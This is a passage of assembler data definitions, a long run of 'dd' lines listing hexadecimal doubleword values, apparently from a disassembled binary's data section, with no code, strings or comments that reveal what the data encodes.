48EE3423h, 5E195501h, 0BFEB3963h, 2E34470h, 25F4B41Bh dd 20F17011h, 85493848h, 902CC52Ch, 506000DCh, 932C5DCCh dd 0C0F036Eh, 60FEAC5Ch, 32D9EECAh, 2FB92CFBh, 846C0628h dd 0E24558B8h, 0B63A9030h, 17C4E098h, 161DF046h, 40404AD9h dd 593913FDh, 3A8D13BAh, 0DE5CC962h, 48088F19h, 0E08B8D02h dd 9FD46h, 0F752F0B1h, 0E789320Eh, 21996E48h, 24AEA73h dd 1F34FCh, 0F06050C8h, 0B138F0Eh, 7F462400h, 0E935DED9h dd 74E54422h, 9029A500h, 0F3305C9h, 0E6721216h, 47E42753h dd 0C2136477h, 0C448B460h, 0AF00E8ECh, 0B6FB12F6h, 0FFD1529h dd 6E74965Ch, 757F47C0h, 34028411h, 6CD0A71Dh, 3688C0C6h dd 0B4EB4C4Eh, 0BE2A64C0h, 0F44C416Dh, 55E1007Ch, 13480481h dd 5FAD0DFBh, 0D8A9DF24h, 2003F79Ch, 6E668E3Dh, 0FB7CA03Bh dd 9050A94h, 4498874Ch, 0CC30C5D1h, 0C629A2B4h, 0C439F8F6h dd 121500E1h dd 0ED17B8CDh, 9600C519h, 0CFF053A1h, 5EAA72Ah, 0F4D5A9B2h dd 0B5BC4B1Dh, 134B825Dh, 505223h, 8F865E10h, 2E847736h dd 2550800h, 58AC3226h, 0BDA10015h, 878E2766h, 17002E6Ah dd 0F94D34C9h, 0A9E4914h, 25376EC6h, 8F8E0A08h, 60E42614h dd 8B668C58h, 0E5DFC500h, 0F8509378h, 44D8009Dh, 64BAC363h dd 0D758ED45h, 0C60B71C8h, 60C0257Ah, 481CE4h, 0B64BC22Fh dd 14BD91AEh, 7FC81012h, 0A3B3C820h, 223F0918h, 0C0802911h dd 0EBD95625h, 86322802h, 7AB1F461h, 0F18C00FCh, 9CF37E9Dh dd 0B40FF59Fh, 0DDC3CBFEh, 0C10C0B4h, 8204FBCh, 0BA384BB8h dd 547D00E4h, 0E2D851EEh, 131D3628h, 0FF18BB8Fh, 0A8E12391h dd 42FEB0h, 7586373Ah, 2C6002E9h, 8A444500h, 904D353Fh dd 0C06E7AD0h, 0F1050478h, 8551B509h, 350801B8h, 17144025h dd 0C997320h, 28140B00h, 0D455248Eh, 464BB4A9h, 29389C5Ch dd 12E7AA00h, 7E65B128h, 0C7E00040h, 9D47A010h, 9008056h dd 0E960484Dh, 0B8B4968Fh, 0DE101E00h, 1C91007Bh, 0A645E0F4h dd 8A1559C3h, 7CE2FD22h, 0E6007A3Ch, 29B25604h, 6C3E7C8Bh dd 0A1242F91h, 0B88FBAA4h, 7047860h, 54DA833Ch, 90D1A151h dd 295983BBh, 0CB317287h, 0DAC7F1F1h, 4996D0h, 0D8F8927Ch dd 3C018AF2h, 5704C1FEh, 0DBC684E9h, 0E01260E6h, 0A2249032h dd 2AF9DFC3h, 0D6747460h, 3A173A2Bh, 0CACB0077h, 819E16F8h dd 0A707FACCh, 0B685DCD1h, 2C8C5E40h, 48E67201h, 520044C6h dd 8A14989Ah, 4513D22Ah, 6098AE99h, 38BB29AFh, 3C400D0h dd 64131626h, 0C517AA12h, 39946C30h, 473CB657h, 19A282BBh dd 0E06524C8h, 3C362184h, 0BD00E211h, 8E093DC2h, 7600D0F1h dd 1CC6E7B3h, 0B86DFF69h, 41AE6072h, 0E07CEFC0h, 263B3112h dd 0F28B9C02h, 0B28C450h, 0AFEAB3D1h, 69C65C86h, 1209AEF8h dd 549A674h, 0B8E4C4A8h, 4B2C5BE0h, 0F0139C24h, 4A6B66A0h dd 1F449B05h, 0CC008AECh, 0EBB30D16h, 86C8B91Eh, 1919998Eh dd 0E48DA226h, 1A56AF41h, 88C8A470h, 5400E729h, 3F234305h dd 794978Eh, 64CF0CF4h, 0CBA7806Eh, 0AF4C08D6h, 289D0048h dd 0A0C6363Bh, 7CD611h, 0F393A150h, 0CCA013DAh, 8B884034h dd 9A9F0139h, 7A82833Fh, 2280DDECh, 4B340344h, 0B00D15C0h dd 503788C6h, 13B70823h, 0F5BE695h, 0DB21F96Ah, 0D0E765CFh dd 0C24DA31Dh, 44398918h, 0B04550D0h, 890584C7h, 0DC5D9B49h dd 0BE82D5C0h, 0E0D0FF88h, 89AD6144h, 48693915h, 0A0609188h dd 5E3B3619h, 0B6A90089h, 0AC52C03Ch, 1402DAEDh, 9F8E1365h dd 8CF4807Ch, 637FBCFDh, 743C39B4h, 0C587C9B0h, 9D1E0D0Ch dd 8A9139h, 0ABE4FF4Bh, 26D121A4h, 9A0A5500h, 9DFD01CBh dd 0F96B2F3Ah, 0FC595092h, 0E7368440h, 0B046E4F5h, 0C6000A2h dd 3B570516h, 0A400EA02h, 43D5FCDh, 0F21ADCD2h, 25A6096Dh dd 505929CAh, 8EF20800h, 0AB8DA0h, 0C9F36659h, 627E2AEBh dd 4ABC044Ch, 221269A8h, 0AF604F70h, 5F3297C0h, 5103A2ADh dd 0CA1E294Fh, 0C3982CEAh, 8B2F3EDCh, 0DE35EC18h, 0D58ECB03h dd 71F81D1h, 0CAB29AB0h, 6692B0DCh, 0AC0379A2h, 25C87834h dd 1C18C63Ah, 0BB0A0F6h, 5C831975h, 99A89684h, 1C17DB27h dd 0A0279D2Bh, 50BA8F50h, 0EF290086h, 1E6A9901h, 470B4EE8h dd 9851E478h, 0B4E79850h, 28964B4h, 729D20B6h, 0FFA85068h dd 4A8803CBh, 4285098h, 34D2A6C0h, 0F01DF309h, 7F84451h dd 0DCCEE177h, 0C41C85F5h, 0E708009Ch, 0A00FF8AFh, 0BB25540Bh dd 9C0000EBh, 4A2C1FC3h, 0E40C5DAAh, 0C9C09758h, 702954h dd 145C932Fh, 259FEDBFh, 68E09964h, 96165E87h, 6C001807h dd 0A6AED661h, 10BE5CC6h, 74310841h, 0FA9D1402h, 13D107FCh dd 70A206D7h, 1EA95CCh, 0FD6BDC04h, 0D141C455h, 37FBC666h dd 0F9130BF8h, 2F0C5E6h, 0EA41BCB4h, 0DE2C443h, 0A164A021h dd 1820332Bh, 0CDF7B8C0h, 0FB748300h, 676AD54Ch, 0F720522h dd 0F65CA981h, 18BF39C8h, 8E41EA56h, 2B490372h, 18B4E496h dd 8899AC2h, 69007466h, 1B487F0Ch, 2BB170h, 61CF4C8Ch dd 8F3DCA1Ah, 0E2FBAD3Dh, 270A38B1h, 128B73EBh, 34C7A0A7h dd 0B7008621h, 0A0182C5Ah, 1EF01937h, 46B5B0h, 8647EAA8h dd 38003AAEh, 0C312C2BEh, 639D2817h, 0DB7B5143h, 11D9C4F0h dd 4E857A03h, 0A190AFh, 3DE55D71h, 20032992h, 8D0D5200h dd 0E8ED238Eh, 24867E51h, 11D8995Ah, 7EDE0141h, 0CA0A5F21h dd 9AF7BDE4h, 29F89034h, 12F034BAh, 7150E423h, 4D006273h dd 382A9260h, 4CB3131Ah, 0C20088D1h, 1BFA8E2Eh, 0B894EBC5h dd 0B9120D00h, 4CBBA18Bh, 1680A83Ah, 8EA586D3h, 0CCC9A625h dd 0DD55006Ch, 5B31AFFAh, 8700C86Fh, 7CA7A853h, 9824D5DEh dd 0ED820CCh, 85D31219h, 9315B148h, 91A17BF0h, 48C50BAh dd 0F800E126h, 87655BD2h, 62D3EB17h, 0C8CD386Dh, 756B4820h dd 58817389h, 0F101A0D9h, 39BACA08h, 0A771BAE8h, 3A10116Ch dd 6CAC000Bh, 86921A40h, 82BA0706h, 0F0D8B4BCh, 0EE786468h dd 0D7F11116h, 249C7882h, 0B6F4C213h, 651DB420h, 361E27C7h dd 45DC8443h, 40126A39h, 0FA000CF3h, 0C7A4F037h, 0FB00AB50h dd 0CF03436Ah, 319CE3h, 6B3FDA76h, 0F7AE16ADh, 5BE73Bh dd 58B66C2h, 1E713C60h, 65CAB5h, 1135FC08h, 8D12E8FEh dd 0E20616F6h, 0D3C86B39h, 993C8878h, 4101E500h, 72DB19D4h dd 0FCB61671h, 650F0069h, 177C37C0h, 0CE5CE913h, 0F0B270D4h dd 0C9304988h, 53E3C3C1h, 3D1DA811h, 0B0D040B9h, 7F5E5524h dd 39D78700h, 1BB88D28h, 49800094h, 2713B93Ah, 34013C11h dd 6BBE21A1h, 48920FA5h, 8ECC02A7h, 9C050B3Ah, 3D9C88h dd 0EE7309ABh, 6F5A0DD2h, 0BB962900h, 7CD8D795h, 240C90EBh dd 3A704C5Fh, 28EA8C00h, 8DEE7535h, 0AE099C73h, 108E639h dd 0AFBAED78h, 675D2883h, 32A8BEE7h, 8C5F9D26h, 22B0FC22h dd 307C22BBh, 1CBCAE40h, 4C34927Dh, 6F3B94C3h, 1E0121EFh dd 0EEC5A31Fh, 4E0548F1h, 18803E38h, 2EA413F6h, 1140EBB9h dd 248C08B5h, 221380ABh, 0B1903C71h, 3A0011F4h, 8F238146h dd 24C47FC2h, 96E02C06h, 8D989084h, 0C755CB24h, 0FC187420h dd 0B48E6624h, 9D1D123Fh, 45C17090h, 8AB60ECAh, 8980C028h dd 85A1D42Ah, 5E04F4B0h, 14651C21h, 360000F2h, 7888FA16h dd 5512C339h, 18E2E18Ch, 4B69A07h, 6BC0DFDBh, 5C16CE7Dh dd 0E3321F03h, 98EA0F89h, 24457B80h, 9ECA63Fh, 0F8D22D64h dd 88A0C0B0h, 0AE00E8E6h, 2A491C28h, 0F0702190h, 3A7D0B45h dd 0FC44FF6Ah, 13401896h, 955F3D26h, 0B8065023h, 8030293Eh dd 8BA478Dh, 2DF8157h, 9AD98BEBh, 0E87956D0h, 28CFD200h dd 82B8F6h, 0D1ABFCCh, 0D4D83808h, 125CCD3Fh, 0D4B3FC68h dd 4C04E6D2h, 0AD8B002Bh, 0E7D7AB35h, 215A0153h, 6757D980h dd 0D8F2CCF6h, 0BEF56502h, 5A2315BFh, 0AA7A9Ch, 95FD7DEBh dd 7160664Fh, 5C907002h, 8204BA96h, 0C0091AFBh, 9FE729h dd 0A02F1254h, 0CDA1C0Eh, 0BA1F893Ah, 1BCD02F2h, 5630E095h dd 0FB1582C0h, 20E228B5h, 2423E844h, 955A94C6h, 7CF5A900h dd 779CDD95h, 0F793E200h, 8567FBBBh, 8425513Ch, 798642Ah dd 124F53D8h, 0C8604348h, 0B174351Eh, 1503D58h, 242B8458h dd 202AED13h, 5BC4A4D8h, 0AC7DE000h, 1167D3ADh, 3B63F840h dd 0A50052F8h, 8F0760A7h dd 6C9804BFh, 2B74920h, 0E022F095h, 14681D43h, 458D78Ch dd 0E8EA2238h, 0F2261817h, 0AE9284Bh, 4F8BA280h, 0BC2C88E3h dd 29B9E28Bh, 0A000FCC6h, 8C9544F0h, 3C4F7BDFh, 0DD0040AAh dd 0D9ED782Ch, 460E473Ah, 0C25EFCA4h, 52B4E66Bh, 0EA3C44DCh dd 0F0D0074Eh, 8DC625h, 0F34B17E7h, 5C247F89h, 0A9160B3h dd 300C205Ah, 0D8ECCF67h, 6569531h, 503012D9h, 62EF84DCh dd 0ABF4C070h, 10B2266h, 99085E5Ch, 0F4F806E0h, 0CC0C1C91h dd 0B85FFC6Eh, 98408A72h, 3B00A97Ah, 0F55604E0h, 14811DDBh dd 0A46CF229h, 250D7610h, 6F0A19Ch, 0FBDCF3D6h, 0C3FD1389h dd 0EA6C0E09h, 10472999h, 3A0DB46Eh, 298055D9h, 89D8935Ch dd 874BFDC2h, 0A51FB093h, 120EA890h, 0F1563D9Dh, 5ECB3580h dd 0D5CC4D8Bh, 0B4647A12h, 3528D8E7h, 0E0EA0148h, 0AE108682h dd 228864FCh, 0A3E1B661h, 0F4500D8Dh, 6A58764h, 0E8261D49h dd 9DF84153h, 2E00CAF4h, 3D31FC4Fh, 3A75D5B7h, 0FB293D7h dd 845E3A60h, 0C8B1B80h, 585BB814h, 9F22F4F1h, 31E01204h dd 44FD0AADh, 0B3C19E80h, 9D025374h, 0B4AF418Fh, 5667C0ECh dd 0FC5F01E3h, 0C315792Ch, 73603D5Ah, 0C8B72300h, 0E040CE68h dd 2CAB502Bh, 96C883Dh, 0EF64041Dh, 0A4499A00h, 0A7B935h dd 1ADF4AA5h, 69CAC239h, 0C880104Eh, 39A0EAEh, 42EC51F8h dd 78C33E8Fh, 0F283DFD3h, 0EFC243F0h, 9EBBF01Ch, 0B0413C8Ah dd 0FD798A60h, 8E2913B4h, 44A4304Eh, 2E005789h, 1B2F9232h dd 3F53BCCDh, 1A80DBF7h, 7B26BAB1h, 0E325FC87h, 16644809h dd 406E4BF4h, 0CA048BC0h, 0B1057CCCh, 2C8C86C9h, 0B72F0802h dd 0BB6C61F5h, 2AC1A211h, 392E2420h, 0B3C400AFh, 0D51012BBh dd 0B496F2D9h, 7E9D1303h, 0B4390ED0h, 0D0766470h, 52B88CFCh dd 0C1C9CD25h, 785038B8h, 7A852F89h, 90267BC5h, 0B2B144E8h dd 0E0BEC00h, 4C132EE4h, 449E302Ah, 0A557D439h, 78372600h dd 609D32Bh, 0A8CF88B3h, 58641D00h, 22AEF4B1h, 0B64B0174h dd 3911DDB9h, 0B82CF846h, 1F806E4h, 1974C700h, 0E67C48EAh dd 0FD4F00C3h, 0B72AFFE2h, 0E300CBCEh, 5FE533B8h, 0E654E9DFh dd 90E6A2h, 0D646BE7Fh, 176514E1h, 0A0713A32h, 601961B4h dd 91157C69h, 263E8CA9h, 94199C80h, 0E2716EBEh, 0A736E0B7h dd 549903EBh, 4D51A585h, 28D1B89Ah, 5121BB0Bh, 29420040h dd 0E60E99C1h, 6F00E7F0h, 0EC4074DCh, 0E2EDA03h, 4BD067EAh dd 0B02C480h, 9C4FC7EDh, 54707443h, 3D759980h, 1DE952F8h dd 0E7251065h, 0BA2588E4h, 90D0C420h, 57230BD1h, 0B8EA46h dd 0CA00915Bh, 83512DA0h, 30D69BDh, 171355Ch, 0A4FB42D5h dd 0DB41B907h, 8490E096h, 0D4D7DCh, 2EC92008h, 0C381BBBFh dd 7DD62A00h, 0E4AB0D18h, 56FB01DDh, 8B54CCE8h, 0AFF4F4C9h dd 2358105h, 0B816D9CBh, 4B8488h, 30EA79DDh, 4662FBE8h dd 5092AF75h, 0E01610F3h, 88B54448h, 29134E0Fh, 0E0E9BBA3h dd 0EA9FB351h, 0E62827F8h, 0C04AC86Ch, 0C4A44053h, 90DB74C3h dd 50CCB490h, 94F4EEFFh, 0B13C3F1Ch, 0D3024F41h, 182D2EE0h dd 24131527h, 0E31E83E8h, 1D0BC31Ch, 2A8AE14h, 0BBDE6FCCh dd 0D07223h, 8833ED30h, 0EB69CB57h, 51818900h, 0E091AE9Eh dd 0C8100A16h, 0E048C7A5h, 0DE91FB41h, 24B67F03h, 0A84C5ECDh dd 16D87D6Ch, 0B0B1F460h, 5A84FC78h, 668C283Ch, 9B5CE200h dd 8F21485Bh, 98634CECh, 0D0AF062Dh, 64D15000h, 0B675A644h dd 168D213Eh, 0F4A48E1Fh, 0E172B0h, 0DDC7F5B4h, 5C954C20h dd 41788001h, 8AB6104Bh, 0C84B3C32h, 31842C50h, 34A0A58Ch dd 88FC0832h, 7EEA6984h, 8356D83Eh, 3C2F8695h, 0ACA0E0E1h dd 6107011Fh, 395A08EDh, 9C87DA5h, 108E18C5h, 29441D0h dd 0A31D9208h, 0D360D410h, 9900232Bh, 9C7790ABh, 1E29AEF1h dd 0A4EEB0B3h, 3C182788h, 0B8022BEFh, 26686D5h, 0AC336313h dd 0B43198E8h, 0A5AE8008h, 7CC030E9h, 0AAAD005Fh, 3E610A08h dd 53023263h, 0E629E83h, 6451B6h, 8C67D841h, 0B13E6149h dd 37CD0A4Dh, 7D00EB4Ch, 0E78210EEh, 0F407B72Ch, 2E4568C7h dd 10C1A8B8h, 0AC46D762h, 28602428h, 3B6F5A03h, 0AC00BE4Fh dd 5142013Bh, 482D0FA2h, 0BBB061B6h, 0F43F5610h, 5403C27Bh dd 0CD9FEA18h, 0E5B122AEh, 0D1EF5800h, 0D2D06392h, 68273E78h dd 0AC0E500Ah, 427E8FA0h, 3512DD81h, 0E72BD06Bh, 0CBAEEA1Dh dd 38E32C7Bh, 344902Fh, 1DC000A3h, 849C307Fh, 6600543Ah dd 213516DDh, 322B7C57h, 0B5F040CFh, 62B8B120h, 351814D2h dd 28A8D8E9h, 2C221624h, 751D3540h, 583E0DBh, 0A074AC37h dd 3495C0DCh, 4517C926h, 5C489632h, 0EB1480B6h, 337B557h dd 22B81A08h, 66398B33h, 28406459h, 633AE4h, 0A0946F49h dd 0A90B683Ch, 8EBA8000h, 0D4333891h, 13DD3C3Bh, 0A0087DA8h dd 4BBBB280h, 68E8881Fh, 98957784h, 0D1511217h, 0B1648240h dd 77E8DA20h, 0A6020B7Ch, 0D0008E15h, 0E936C581h, 0FE492C00h dd 0C7BBDF8Bh, 0CEA17362h, 8EC0CE18h, 0AF86B206h, 0C6F642Ch dd 0D047BA03h, 92DF040h, 4BF5487Dh, 0D6B95400h, 8620E544h dd 0BE0D7F02h, 0D48365B2h, 9A0306D0h, 341040C2h, 5508D1D6h dd 20037A4Ch, 3DD5FBC7h, 3926C418h, 58960F84h, 1C3B5282h dd 832CE485h, 0A87B828Ch, 0B13E530Ch, 0E773090h, 0BAD90D24h dd 7B4427C1h, 8CE8900Fh, 84C7B410h, 0ED22872Dh, 1B9F401Eh dd 10D15322h, 4F3D94Dh, 0C7B589CEh, 3A25AF7Ch, 90B4E46Bh dd 0F8E445D4h, 26009549h, 0A013AB2Bh, 2F179664h, 1B708EFAh dd 12F9A7Bh, 0EA0C38C5h, 0A1080ACBh, 4F4C082h, 0A9B8FEh dd 528DBD15h, 74A34CE5h, 3309C700h, 4A1EF79Fh, 6CB9572Ch dd 1B393182h, 0C7B040CBh, 5D810072h, 69CAE930h, 470CB7F6h dd 20E1E071h, 0E39B0A0Ah, 7820FCE5h, 148C5A1Eh, 748FA5BCh dd 68C0D058h, 0F335D241h, 0D4E8BC60h, 37D21D9h, 0B9F2C208h dd 0CF889D8Ah, 1A0BC4CBh, 188CC1B1h, 0FD19144h, 761366ADh dd 38F854E3h, 4637C5B0h, 821E7B12h, 18E37016h, 0E7E0CC4Bh dd 9BC76200h, 4CA1C98Dh, 92100076h, 70DCEB12h, 0F8658AA5h dd 0A0880769h, 4402148Eh, 0F200ED03h, 0E9F93CAEh, 0F89145E0h dd 8B090E09h, 0F7280511h, 0EDF6EC20h, 0F8A1BD22h, 0F447C818h dd 8D01954Eh, 0BFBD602Bh, 96F8C977h, 3798A0ECh, 8F7F1Ah dd 4989CC4Ch, 48BF166Ch, 0E75C8605h, 0E8F8EAA8h, 7F826880h dd 5BF89C85h, 55B8AC00h, 493FDC7Bh, 95710076h, 649FE736h dd 0E92DE478h, 6DB82106h, 15C8C091h, 0E0621241h, 6A88E531h dd 2C378420h, 124D1F7Dh, 0C080DCBCh, 0B9152379h, 0A22FBAEBh dd 0B34648Dh, 605C7312h, 0AE827000h, 54001BF7h, 8B0FCEEEh dd 1D9FB06h, 7548EAA4h, 470DCB05h, 34F050F2h, 362CD313h dd 440B50B3h, 83947BC0h, 5F1ADDC6h, 1742EA80h, 3B4E1F03h dd 0E9C10C2Ah, 29B9E39Ch, 906E7787h, 0E669700Eh, 5703D2CAh dd 85520C33h, 0CF06B8DFh, 100A00B2h, 8B456AA7h, 15009466h dd 7B58526Dh, 483EE8h, 78D6C330h, 891618C1h, 0BB819200h dd 0D4AF3540h, 2AE760CBh, 9B327FA6h, 8517650Fh, 0E4C0A0E5h dd 0C6888h, 45AB4E46h, 50D1CE93h, 8EBB38C3h, 0F0DCF07Ch dd 5AA0338Ch, 48E04D51h, 3A037B2Ah, 0E4DB5B81h, 32200387h dd 3958F331h, 64EE0E7h, 4D60D067h, 76A97438h, 385A79EAh dd 989D8389h, 4CA00C8Ah dd 81399120h, 0AE58F77h, 281E03E4h, 0B7900F0Eh, 0A006AE35h dd 0D60010ECh, 0EBFF7A75h, 0E627C5Eh, 4D6D802Eh, 0D8E3F80h dd 2C07299Ch, 51056E6Ch, 9457CD10h, 0C8F2F6h, 92E1FD9Bh dd 137A873Fh, 3D99E21Dh, 0BFB00587h, 0FFF5CBA0h, 0C6B6001Eh dd 0ED22102Dh, 3FE4EB0Ch, 2700AFF6h, 4E4375C4h, 0E4D418h dd 8594F725h, 6D8CF4B5h, 0BE7D3524h, 0E7A77B00h, 3BC21DDh dd 2E48F098h, 3783F22Bh, 3DC8D5CBh, 3800CC68h, 0A09C5009h dd 1B34204h, 0B2B606E3h, 0D8758A33h, 9B00E2A6h, 96E98315h dd 1B1E7Eh, 58386CEAh, 0C8D74FF6h, 11143C30h, 74CE1113h dd 0E0F0E3h, 65441A36h, 3377ECC1h, 0F4BF500h, 116A1B16h dd 5C4C050Ah, 8E9E03Bh, 6E847814h, 1A80D827h, 7A3F70FEh dd 4A5B005Ch, 387E0D67h, 4800DA41h, 81E0F015h, 3E9EE9FBh dd 911EC047h, 0AFBAC07Eh, 635FD238h, 2ABFE100h, 0D8EA85B4h dd 0B9910031h, 0FE17904Bh, 0B60171DDh, 5D96AF1Ch, 7DD405B0h dd 11B100C6h, 0C8CFA7C7h, 9300378Bh, 3A6C093Fh, 2D1513h dd 73F2F050h, 8BF93B1Dh, 0F771B103h, 997C7F26h, 0C1D8AE1Fh dd 0FDFB0062h, 0C8CB5CB6h, 5500C49Eh, 0D1810DFCh, 148BA2C9h dd 9C59BD7Fh, 5A1DC200h, 32229A43h, 0B17E9800h, 75242DDAh dd 0E55E099Ch, 6A0E1A3Fh, 258E2EA0h, 0D004803h, 51BCD70Eh dd 55DCB1h, 3FDD2D5Dh, 5A924EEAh, 8739BA00h, 182A3C48h dd 0A5CD3912h, 4023919Eh, 2075AE7Ch, 4C004363h, 0E505720Bh dd 0BE4279h, 0DC76E39Ah, 0DFE99DB6h, 0A55F6A00h, 8E7A348Dh dd 1E5728F7h, 538A00F8h, 421BA6D7h, 90083C4h, 745FCC31h dd 6CBE29h, 438506CEh, 381A2CBCh, 0FAFBD600h, 0F1BD4D02h dd 0CBA70704h, 5092E51Bh, 6317841Eh, 75D48750h, 959D6400h dd 2BD72199h, 0F327078Dh, 5E11082Ch, 0D28046E9h, 37D0174Ah dd 0C10E7E00h, 7CFF4CAFh, 0B79100CAh, 0F639E11Ch, 9B0E9F71h dd 0F36A2h, 218168ADh, 0EC320765h, 0D069E3D8h, 0FD5AA1EFh dd 0F86FD61Eh, 0DD95B241h, 6C201641h, 213700F2h, 1CFDA917h dd 0A1005FF8h, 79B04E49h, 3C685661h, 6F815330h, 0CD9808DCh dd 12F1602Dh, 0A0E3C400h, 0DB9F70D6h, 976A0009h, 0DC29B01Ch dd 1400732Fh, 76771BCCh, 73D3B47h, 1F377CB8h, 1118A063h dd 28C0BD2Fh, 9C64CE0Eh, 8D39C440h, 90F8835Ch, 281D113Bh dd 0C001BA5Eh, 0B744B4E9h, 0C1878FB0h, 657D4B1Eh, 28D780FDh dd 0EF033BC1h, 772C737Bh, 23B097B8h, 477419h, 0A3E96F2h dd 0E321607Fh, 3698F403h, 98E5371Dh, 489F8Fh, 0CBDC0D73h dd 0E8640891h, 1BD9C300h, 0CFFDEF3Dh, 18A10E87h, 8C60CAC1h dd 71ADCE7Bh, 6E104400h, 0C3E70BAAh, 754000B3h, 6D6B1F80h dd 7800E32Dh, 47F9D38Ch, 0D2D4F7h, 0A5EF3323h, 0AFFD7137h dd 0B7F5611Ch, 5647F0C7h, 0BD6B0AE0h, 6FFA0085h, 0C7B8DA4h dd 0C000C369h, 31B284AFh, 6DB9530h, 4134FEB9h, 2B01100Fh dd 0B53E6AE9h, 94EC889Ah, 64290075h, 0D55317E5h, 0AA0FF27Dh dd 0A03F6C72h, 0B28D9F83h, 5A10502h, 0C75F082Dh, 3C850D1h dd 0DE2E38BCh, 38306E42h, 3E8C52h, 8DB42B58h, 7E12227Ah dd 79F75E00h, 0AA273BD7h, 2BB201F4h, 0D96695B7h, 0EFD4E015h dd 9A08800Ah, 0D0B980Eh, 0DBF701B2h, 0E8C44691h, 0D0EA9Eh dd 899CACFh, 6878D297h, 4BA7E0F7h, 3F317F3Ch, 0B0F900EFh dd 6B41F25Ah, 38E7003Bh, 0BE3CFAFFh, 0F00079BFh, 0D3AA423Fh dd 1F7D4F68h, 80B97609h, 0A8F4193Dh, 100A746h, 61CE0B10h dd 1AA5E1h, 0CDBAA35Eh, 0D1DCA8EEh, 0E90A0712h, 0FD190700h dd 0A03829FFh, 77484D8h, 60FCF485h, 0BC14A0F0h, 500430Ah dd 8ABA9C08h, 2F9AB1h, 0B98063ACh, 0EB15C621h, 88D8B600h dd 0BCCC99E7h, 0AA0700C5h, 0D294FBA0h, 727E3DECh, 3810BF60h dd 3AB67D84h, 36BC618Eh, 260196Fh, 0FA0AA971h, 0AAA040E1h dd 0F700788Fh, 330E8B5Bh, 0AF1A93h, 0A2F36439h, 1E67EF0Bh dd 0F74F9B00h, 9A6CE527h, 0D24D002Eh, 874051ACh, 1B02DB9Ch dd 8194E42Bh, 786407Bh, 18C598EBh, 0AA6E099Dh, 0AF006421h dd 349E9351h, 9FC8FAh, 7B79E4E3h, 1238CB26h, 2AD97A00h dd 0E91E2BF5h, 0CD1A0ED2h, 0D4478329h, 0A52ED207h, 346D32C0h dd 4BE4DE00h, 0E578B0C7h, 0FE30009Dh, 16ECB8C5h, 0C8EAAFF6h dd 7880EE30h, 0A1F53Dh, 0DD2567CFh, 0B7B6B3A4h, 11B80549h dd 0CC02AAEFh, 141E5904h, 0E00CFE3h, 5A6DB957h, 619421h dd 0B77F8D76h, 3A5E7B88h, 25D1CA00h, 0D08C535h, 74E100A9h dd 0A350F0D8h, 210768B6h, 0FEB7C6EBh, 1C36F3h, 80069D71h dd 0A824F4F6h, 0DA4F93Ah, 207AB5C4h, 5FF1CCEDh, 1898FDF0h dd 180C7FC0h, 54CE5E2h, 7CBB07F7h, 92408F65h, 9FF017h dd 0EA6622A6h, 6E414798h, 4CEEC600h, 7646D8E2h, 13EB008Fh dd 0EB4C781h, 0EF71EC91h, 839E111Eh, 4C399FC1h, 108162C9h dd 17A4157Bh, 9868E48Fh, 0C7C7CFAh, 8E9F2105h, 48012005h dd 800D9DC9h, 0A11BB180h, 9F91AD37h, 44AB6803h, 0A0459FCh dd 249B0CF0h, 0F87C201Ch, 28AAF6C8h, 145CE1h, 0E7B698E3h dd 0B30D8E16h, 0A4145800h, 62E23CA6h, 6C190E5Bh, 56C07AF3h dd 219DDA03h, 3001BEF6h, 1880C4F6h, 87DCCF02h, 24781E82h dd 6CB2001Fh, 6F3E558h, 0AF4CE200h, 3CE4F4FDh, 3BE8CDh dd 0EEDD0F48h, 9213F20Dh, 0E604F57Ah, 1F1977EFh, 415E5FC0h dd 0B075E3h, 0CAEEA7DBh, 4C623F11h, 0A421E500h, 315CFE94h dd 4B0F0AEBh, 80F4AD54h, 80665079h, 9E0025EDh, 55144D46h dd 14A3F15h, 1DBC9FC5h, 2AF424A8h, 7892F480h, 84CC00C8h dd 8FC1B7FBh, 0D648CEC3h, 23B201D4h, 7B0B76F0h, 16CCA450h dd 0C89CA855h, 75F7FD0h, 0C196BF50h, 0E9550B3h, 450EDDE7h dd 20C91E31h, 0A999ADD8h, 0FA081F8Eh, 0A2B4F37h, 0F048D6C0h dd 1B074FFCh, 9B1A98CEh, 0D5308347h, 0C037548Ch, 3810C1D1h dd 0B600E0D8h, 93A80EA4h, 3CFAFCC3h, 1C030358h, 180D9B5Ah dd 50173128h, 7E01EEEAh, 91FE24CAh, 29D50520h, 16D2CE8h dd 5097CDDFh, 800316F1h, 0DC336831h, 39F434h, 0E9F1AFEh dd 0E1626C6Eh, 82488B1Eh, 1194360Ch, 2B831E79h, 0CC9B80A8h dd 0CB16877Fh, 859A8E1Eh, 0DD317E00h, 6DA3A9h, 0BDA0A1Fh dd 617065CAh, 2D066E7Dh, 0F081FAB7h, 0B8F32E19h, 0B4803F6Ah dd 99E56746h, 0AE8C368h, 92CFCA1Dh, 4011128Eh, 6E8A72F7h dd 659006B5h, 18EE2002h, 676B0F01h, 64E85E7Dh, 8AE003FDh dd 0F255789Dh, 0E08B0BD5h, 5C83600Ah, 93B01065h, 0F39818Fh dd 5BEF07C7h, 3823266Eh, 4E65D0F6h, 2872606Bh, 5E0E7F91h dd 32F718C1h, 0CA000D64h, 7BFA31B0h, 6884EA30h, 4892F6h dd 9121D37h, 0C02E9BFh, 5A03060h, 0FE7F66A0h, 0A881C0ECh dd 0F7834E8Fh, 633C0F03h, 0C3F27D6h, 9D9A7E58h, 807F918h dd 0B7883EA0h, 0C00E35C3h, 6257CFh, 65156EB4h, 9174F749h dd 10A44C50h, 0A87B1D3Fh, 2608489Ah, 8477FB90h, 17642Ah dd 7682D58Bh, 80CA1D36h, 7E6E82B8h, 749E20E6h, 0C39A6221h dd 6B802C03h, 2D07A30Eh, 0DF92EAE8h, 9386CC3Ah, 0FA18A947h dd 0D83054E2h, 6E8BF803h, 0E5835094h, 7186F2DCh, 4243C500h dd 5721EA01h, 0F9E24CC6h, 8F84974h, 763CA300h, 7040953Fh dd 983ACB00h, 228FD505h, 0C09CA09Bh, 0B788A07Dh, 62E30537h dd 42CBB47Ch, 3A9ECFBCh dd 0B8EFB0A0h, 20C00297h, 0E3206575h, 0EA29C5C7h, 6F9D805Dh dd 8533B241h, 71D8094Ch, 51B50F21h, 0E206A05Dh, 641DD914h dd 0B698B2CAh, 38072A71h, 2E035EC0h, 68B11E1h, 21980830h dd 6C03F4Bh, 7FC64F4Dh, 640CB868h, 500F7CE2h, 98A001Dh dd 0B74489C1h, 0FF00AD6Bh, 3A05DB99h, 0EF1391h, 0F89C6F46h dd 443D5DD8h, 2B5A0D1Eh, 5C7FFD80h, 0F29B91BFh, 69144CA3h dd 0FA6CDE03h, 0B0A802CFh, 340083CBh, 